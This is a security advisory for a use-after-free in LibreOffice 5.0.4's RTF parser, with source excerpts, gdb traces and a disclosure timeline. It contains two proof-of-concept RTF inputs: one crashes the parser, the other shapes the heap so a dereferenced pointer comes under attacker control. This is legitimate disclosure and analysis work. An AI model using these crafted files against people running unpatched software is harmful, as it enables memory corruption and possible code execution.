### SUMMARYAn exploitable Use After Free vulnerability exists in the RTF parser LibreOffice. A specially crafted file can cause a use after free resulting in a possible arbitrary code execution. To exploit the vulnerability a malicious file needs to be opened by the user via vulnerable application.### TESTED VERSIONSThe Document Foundation LibreOffice 5.0.4### PRODUCT URLshttps://www.libreoffice.org/download/libreoffice-fresh/### CVSSv3 SCORE[6.3] – [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L]### DETAILSLibreOffice is a popular open source office suite. An use after free vulnerability is present in the RTF parser of the lates release. The core of the vulnerability lies in the way documents containing both stylesheet and superscript tokens are parsed. A malformed document with `\super` token in top group causes the invalid parser operation. A minimal example testcase triggering the vulnerability is:“`{\rtf1 {\stylesheet {;}}Hello world \super hello}“`It can be observed that the token `super` (a keyword for supperscript text) is in outermost group while the stylesheet is in its own inner group. In an usual RTF document, superscript would be in an inner group too.Looking at the code, for each new token a new parser state is pushed to the state stack:“` RTFError RTFDocumentImpl::pushState() { //SAL_INFO("writerfilter", OSL_THIS_FUNC << " before push: " << m_pTokenizer->getGroup()); checkUnicode(/*bUnicode =*/ true, /*bHex =*/ true); m_nGroupStartPos = Strm().Tell(); if (m_aStates.empty()) m_aStates.push(m_aDefaultState); else { // fdo#85812 group resets run type of _current_ and new state (but not RTL) m_aStates.top().eRunType = RTFParserState::LOCH; if (m_aStates.top().eDestination == Destination::MR) lcl_DestinationToMath(*m_aStates.top().pDestinationText, m_aMathBuffer, m_bMathNor); m_aStates.push(m_aStates.top()); } m_aStates.top().aDestinationText.setLength(0); // was copied: always reset!“`It should be noted that variable `m_aStates` above is of type `RTFStack` which is a warper for STL deque container. In this specific case, the states are popped and subsequently freed in the `popState` method, specifically at line 5844:“` m_aStates.pop(); m_pTokenizer->popGroup();“`By observing the process under debugger, it can be observed that `popState` is called one time too many, leading to an access to an invalid pointer which eventually crashes the process at:“` writerfilter::Reference<Properties>::Pointer_t RTFDocumentImpl::getProperties(RTFSprms& rAttributes, RTFSprms& rSprms) { int nStyle = 0; if (!m_aStates.empty()) nStyle = m_aStates.top().nCurrentStyleIndex; RTFReferenceTable::Entries_t::iterator it = m_aStyleTableEntries.find(nStyle); if (it != m_aStyleTableEntries.end()) { RTFReferenceProperties& rProps = *static_cast<RTFReferenceProperties*>(it->second.get()); // cloneAndDeduplicate() wants to know about only a single "style", so // let's merge paragraph and character style properties here. int nCharStyle = m_aStates.top().nCurrentCharacterStyleIndex; // crashes here“`The invalid memory being dereferenced ultimately comes from a previously used chunk on the heap of size 0x50 which is allocated during one of the `pushState` calls:“` gdb$ bt #0 0xffffffff in void std::deque<writerfilter::rtftok::RTFParserState, std::allocator<writerfilter::rtftok::RTFParserState> >::_M_push_back_aux<writerfilter::rtftok::RTFParserState const&>(writerfilter::rtftok::RTFParserState const&) () at /opt/libreoffice5.0/program/../program/libwriterfilterlo.so #1 0xffffffff in writerfilter::rtftok::RTFDocumentImpl::pushState() () at /opt/libreoffice5.0/program/../program/libwriterfilterlo.so #2 0xffffffff in writerfilter::rtftok::RTFTokenizer::resolveParse() () at /opt/libreoffice5.0/program/../program/libwriterfilterlo.so #3 0xffffffff in writerfilter::rtftok::RTFDocumentImpl::resolve(writerfilter::Stream&) () at /opt/libreoffice5.0/program/../program/libwriterfilterlo.so #4 0xffffffff in RtfFilter::filter(com::sun::star::uno::Sequence<com::sun::star::beans::PropertyValue> const&) () at /opt/libreoffice5.0/program/../program/libwriterfilterlo.so #5 0xffffffff in SfxObjectShell::ImportFrom(SfxMedium&, com::sun::star::uno::Reference<com::sun::star::text::XTextRange> const&) () at /opt/libreoffice5.0/program/libmergedlo.so #6 0xffffffff in SfxObjectShell::DoLoad(SfxMedium*) () at /opt/libreoffice5.0/program/libmergedlo.so #7 0xffffffff in SfxBaseModel::load(com::sun::star::uno::Sequence<com::sun::star::beans::PropertyValue> const&) () at /opt/libreoffice5.0/program/libmergedlo.so“`A truncated callstack shows that the debugger is stopped inside a `push_back` method of the RTFStack deque.“` gdb$ x/10i $pc-5 0xabc26224 <+192>: call 0xabbff5a0 <operator new(unsigned int)@plt> => 0xabc26229 <+197>: mov edx,DWORD PTR [ebp-0x1c] 0xabc2622c <+200>: add esp,0xc 0xabc2622f <+203>: mov DWORD PTR [ebp-0x24],edx 0xabc26232 <+206>: mov ecx,eax 0xabc26234 <+208>: mov eax,edx 0xabc26236 <+210>: sub eax,edi 0xabc26238 <+212>: shr eax,1 0xabc2623a <+214>: lea edi,[ecx+eax*4] 0xabc2623d <+217>: push edi“`Disassembly of at the breakpoint shows a call to a new operator which allocates an array of 18 unsigned ints. The heap chunk returned is in eax and can be observed to be in use:“` gdb$ x/x $eax 0x873c200: 0xb5131968 gdb$ x/x $eax-4 0x873c1fc: 0x00000051“`The chunk is located at 0x873c200 and is 80 bytes in size. This chunk is later freed in a `popState` call but it's content is ultimately accessed again just before the crash. The program crashes inside `writerfilter::Reference<Properties>::Pointer_t RTFDocumentImpl::getProperties`:“` Program received signal SIGSEGV, Segmentation fault. gdb$ x/3i $pc-8 0xabc03898 <+156>: call 0xabc1e6de <std::deque<writerfilter::rtftok::RTFParserState, std::allocator<writerfilter::rtftok::RTFParserState> >::back()> 0xabc0389d <+161>: add esp,0xc => 0xabc038a0 <+164>: mov eax,DWORD PTR [eax+0x1c4] gdb$ i r eax eax 0x19 0x19 gdb$ “`In the above debugger output, the process crashes due to a read access violation. Contents of register `eax` above come from the previous call to `back`:“` gdb$ disassemble 0xabc1e6de Dump of assembler code for function _ZNSt5dequeIN12writerfilter6rtftok14RTFParserStateESaIS2_EE4backEv: 0xabc1e6de <+0>: push ebp 0xabc1e6df <+1>: mov ebp,esp 0xabc1e6e1 <+3>: mov edx,DWORD PTR [ebp+0x8] 0xabc1e6e4 <+6>: mov eax,DWORD PTR [edx+0x18] 0xabc1e6e7 <+9>: cmp eax,DWORD PTR [edx+0x1c] 0xabc1e6ea <+12>: mov ecx,DWORD PTR [edx+0x24] 0xabc1e6ed <+15>: jne 0xabc1e6f7 <std::deque<writerfilter::rtftok::RTFParserState, std::allocator<writerfilter::rtftok::RTFParserState> >::back()+25> 0xabc1e6ef <+17>: mov eax,DWORD PTR [ecx-0x4] [1] 0xabc1e6f2 <+20>: add eax,0x1d4 0xabc1e6f7 <+25>: sub eax,0x1d4 0xabc1e6fc <+30>: pop ebp 0xabc1e6fd <+31>: ret End of assembler dump. gdb$ x/x $ecx-4 0x873c214: 0x00000019“`In the above disassembly, the final value of eax ultimately comes from an address pointed at by `ecx-4` [1] which actually points inside the previously freed chunk. Observe that the buffer is inside the chunk (chunk was at 0x873c200 and was 80 bytes) which has been allocated by another part of the code in the mean time.Further memory layout control could potentially allow for more abuse and ultimately for code execution. By careful heap manipulation, a dereferenced pointer can be put under control which can be demonstrated by the following (shortened) testcase:“` {\rtf{\upr{\ud{\fonttbl{}}}} {\stylesheet { Normal;} } \super a}AAAAAAA…..“`Opening the above testcase in LibreOffice results in the same crash but with obvious control over the pointer:“` Program received signal SIGSEGV, Segmentation fault. [———————————-registers———————————–] EAX: 0x41414141 ('AAAA') EBX: 0xabd6e460 –> 0x187244 ECX: 0x88595c8 –> 0x8810440 –> 0x880ff08 –> 0xabd69840 (:rtftok::RTFDocumentImpl+8>: 0xabc01cf6) EDX: 0x880ff48 –> 0x88595b0 –> 0xb5131870 –> 0x885bbc0 –> 0x0 ESI: 0xbfffd7d4 –> 0xabc1e74c (<std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count(std::__shared_count<(__gnu_cxx::_Lock_policy)2> const&)+14>: add ecx,0x14fd14) EDI: 0x88103e4 –> 0x0 EBP: 0xbfffd808 –> 0xbfffd898 –> ESP: 0xbfffd79c –> 0xbfffd7bc –> 0x882d7b8 –> 0x1 EIP: 0xabc038a0 (<writerfilter::rtftok::RTFDocumentImpl::getProperties(writerfilter::rtftok::RTFSprms&, writerfilter::rtftok::RTFSprms&)+164>: mov eax,DWORD PTR [eax+0x1c4]) EFLAGS: 0x210286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [————————————-code————————————-] 0xabc03895 <writerfilter::rtftok::RTFDocumentImpl::getProperties()+153>: mov DWORD PTR [ebp-0x64],eax 0xabc03898 <writerfilter::rtftok::RTFDocumentImpl::getProperties()+156>: call 0xabc1e6de <std::deque::back()> 0xabc0389d <writerfilter::rtftok::RTFDocumentImpl::getProperties()+161>: add esp,0xc => 0xabc038a0 <writerfilter::rtftok::RTFDocumentImpl::getProperties()+164>: mov eax,DWORD PTR [eax+0x1c4] 0xabc038a6 <writerfilter::rtftok::RTFDocumentImpl::getProperties()+170>: mov DWORD PTR [ebp-0x3c],eax 0xabc038a9 <writerfilter::rtftok::RTFDocumentImpl::getProperties()+173>: lea eax,[ebp-0x3c] 0xabc038ac <writerfilter::rtftok::RTFDocumentImpl::getProperties()+176>: push eax 0xabc038ad <writerfilter::rtftok::RTFDocumentImpl::getProperties()+177>: push edi 0xabc038a0 in writerfilter::rtftok::RTFDocumentImpl::getProperties() () from /opt/libreoffice5.0/program/../program/libwriterfilterlo.so gdb$“`Further process and memory state manipulation is needed to possibly turn this arbitrary read into code execution.### CRASH INFORMATION“` Program received signal SIGSEGV, Segmentation fault. 0xabc038a0 in writerfilter::rtftok::RTFDocumentImpl::getProperties(writerfilter::rtftok::RTFSprms&, writerfilter::rtftok::RTFSprms&) () from /opt/libreoffice5.0/program/../program/libwriterfilterlo.so Missing separate debuginfos, use: debuginfo-install libreoffice5.0-5.0.4.2-2.i586 (gdb) exploitable Description: Access violation on source operand Short description: SourceAv (19/22) Hash: af3c01fefebc302b00a13ca8b7b6f323.5bf63181b180fb2d4e93814d425f662e Exploitability Classification: UNKNOWN Explanation: The target crashed on an access violation at an address matching the source operand of the current instruction. This likely indicates a read access violation. Other tags: AccessViolation (21/22) (gdb) “`### TIMELINE* 2016-04-13 – Initial Vendor Contact * 2016-06-27 – Public Release